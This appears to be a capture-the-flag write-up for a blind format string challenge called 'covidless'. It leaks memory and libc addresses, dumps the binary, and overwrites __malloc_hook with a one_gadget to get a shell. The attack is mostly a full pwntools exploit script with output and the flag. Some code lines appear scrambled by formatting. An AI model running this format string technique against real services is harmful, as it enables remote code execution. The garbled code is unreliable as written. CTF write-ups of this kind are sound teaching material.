Details
- Category : pwn
- Points : 74
- Solves : 81
Description
nc covidless.insomnihack.ch 6666
Understanding the problem
When connecting to the server, we can input data that will be echoed back :
$ nc covidless.insomnihack.ch 6666
l
Your covid pass is invalid : l
try again ..
%p
Your covid pass is invalid : 0x400934
try again ..
As we can see, it’s a format string exploit, but the source code is not provided.
We can quickly identify that ASLR is enabled but PIE is not, as libc addresses change between executions, but program addresses do not:
$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f5c1aa67580
try again ..
$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f03e23b2580
try again ..
We also noticed it’s a 64-bit architecture.
Solving the problem
We can use the format string to leak the binary, libc addresses and GOT entries, defeating the ASLR.
We did not know if full-RELRO is activated or not, so our idea was to overwrite __malloc_hook
with the address of the one gadget and force a malloc
call by calling printf
with some large formatter.
Implementing the solution
The first step is getting a way to read at an arbitrary address. For this we can abuse the %s
formatter.
By submitting multiple %p
, we can see that our input is reflected after the 12th formatter :
$ nc covidless.insomnihack.ch 6666
ABCDEFGH %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your covid pass is invalid : ABCDEFGH 0x400934 (nil) (nil) 0x7f03e23b2580 0x7f03e21868d0 0x74346e3143633456 0x505f44315f6e6f31 0x5379334b5f763172 0x5f74304e6e34635f 0xa6b34336c (nil) 0x4847464544434241 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070
try again ..
Our function to read at any address is thus the following :
= remote("covidless.insomnihack.ch", 6666)
conn
def read(addr):
b"%0013$s,"+p64(addr))
conn.sendline(b": ")
conn.recvuntil(= conn.recvuntil(b",", drop=True)
data b"try again ..\n\n")
conn.recvuntil(return data, len(data)
Because 64-bit addresses contain null-bytes, we had to put the address at the end of our payload, that’s why the offset here is 13 and not 12.
Using this function we wrote another function to dump as much as possible of the binary :
def dump(start=0x400000, size=0xa00):
= b''
data = start + size
end while start < end:
if start & 0xFF != 0x0a:
= read(start)
d, c else:
= b'\x00', 1
d, c if c == 0:
= b'\x00'
d = 1
c += d
data += c
start return data
with open("out.bin", "wb") as f:
f.write(dump())
Only the start of the binary can be dumped, but is seems ok :
$ file out.bin
out.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8616
Because the binary is incomplete, it cannot be opened easily in IDA. But we can threat it as a raw binary and tell IDA where to decompile. We recovered the entrypoint in the ELF headers using readelf
:
$ readelf -e out.bin
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400650
Start of program headers: 64 (bytes into file)
Start of section headers: 6824 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28
readelf: Error: Reading 1856 bytes extends past end of file for section headers
After having identified the main function, and some of the imported functions like printf
and puts
, we can obtain their GOT entry addresses from the PLT, which is contained in our dump.
The GOT address of printf
is thus 0x601028
and for puts
it is 0x601018
.
Using our read
function we can leak their addresses in the libc :
# printf
print(read(0x601028)[0].hex())
# puts
print(read(0x601018)[0].hex())
# 803e4568207f
# c0f94668207f
From libc database we download the correspondingc libc and can look for the one gadget :
$ one_gadget libc6_2.27-3ubuntu1_amd64.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
The offset of __malloc_hook
is 0x3ebc30
.
We can use the recovered printf
address to leak libc’s base address.
= u64(read(0x601028)[0]+b'\x00'*2)
printf print(f"printf : {hex(printf)}")
= printf - 0x064e80 # from libc database
libc print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])
# printf : 0x7fa7c9db6e80
# libc base : 0x7fa7c9d52000
# b'/bin/sh'
We can build a fonction that will write a single byte at an arbitrary address using the %hhn
operator :
def writeByte(x, addr):
f"%{x:06}X%14$hhn,".encode() + p64(addr))
conn.sendline(b"try again ..\n\n") conn.recvuntil(
Using the above function, we can create another one that will write a QWORD at an arbitrary address :
def writeGX(gx, addr):
= gx & 0xFF
a if a : writeByte(a, addr)
= (gx & 0xFF00) >> 8
a if a : writeByte(a, addr+1)
= (gx & 0xFF0000) >> 16
a if a : writeByte(a, addr+2)
= (gx & 0xFF000000) >> 24
a if a : writeByte(a, addr+3)
= (gx & 0xFF00000000) >> 32
a if a : writeByte(a, addr + 4)
= (gx & 0xFF0000000000) >> 40
a if a : writeByte(a, addr + 5)
= (gx & 0xFF000000000000) >> 48
a if a : writeByte(a, addr + 6)
= (gx & 0xFF00000000000000) >> 56
a if a : writeByte(a, addr + 7)
We can use this function to overwrite __malloc_hook
with the address of a one gadget :
= [0x4f2c5, 0x4f322, 0x10a38c]
one_gadgets = libc + one_gadgets[1]
shell print(f"one gadget : {hex(shell)}")
= libc+0x3ebc30
malloc_hook
writeGX(shell, malloc_hook)
# check overwrite
print(read(malloc_hook)[0].hex())
# one gadget : 0x7f1dd0b34322
# 2243b3d01d7f
We can trigger the __malloc_hook
call by printing a large string using a formatter :
"%74567p")
conn.sendline("id")
conn.sendline(
conn.interactive()
# [*] Switching to interactive mode
# uid=1000(covidless) gid=1000(covidless) groups=1000(covidless)
The full exploit is given below :
from pwn import *
def read(addr):
b"%0013$s,"+p64(addr))
conn.sendline(b": ")
conn.recvuntil(= conn.recvuntil(b",", drop=True)
data b"try again ..\n\n")
conn.recvuntil(return data, len(data)
def writeByte(x, addr):
f"%{x:06}X%14$hhn,".encode() + p64(addr))
conn.sendline(b"try again ..\n\n")
conn.recvuntil(
def writeGX(gx, addr):
= gx & 0xFF
a if a : writeByte(a, addr)
= (gx & 0xFF00) >> 8
a if a : writeByte(a, addr+1)
= (gx & 0xFF0000) >> 16
a if a : writeByte(a, addr+2)
= (gx & 0xFF000000) >> 24
a if a : writeByte(a, addr+3)
= (gx & 0xFF00000000) >> 32
a if a : writeByte(a, addr + 4)
= (gx & 0xFF0000000000) >> 40
a if a : writeByte(a, addr + 5)
= (gx & 0xFF000000000000) >> 48
a if a : writeByte(a, addr + 6)
= (gx & 0xFF00000000000000) >> 56
a if a : writeByte(a, addr + 7)
def dump(start=0x400000, size=0xa00):
= b''
data = start + size
end while start < end:
if start & 0xFF != 0x0a:
= read(start)
d, c else:
= b'\x00', 1
d, c if c == 0:
= b'\x00'
d = 1
c += d
data += c
start return data
= remote("covidless.insomnihack.ch", 6666)
conn
= u64(read(0x601028)[0]+b'\x00'*2)
printf print(f"printf : {hex(printf)}")
= printf - 0x064e80 # from libc database
libc print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])
= [0x4f2c5, 0x4f322, 0x10a38c]
one_gadgets = libc + one_gadgets[1]
shell print(f"one gadget : {hex(shell)}")
= libc+0x3ebc30
malloc_hook
writeGX(shell, malloc_hook)
# check overwrite
print(read(malloc_hook)[0].hex())
"%74567p")
conn.sendline("id")
conn.sendline(
conn.interactive()
conn.close()
Flag : INS{F0rm4t_5tR1nGs_FuULly_Bl1nd_!Gj!}
Our news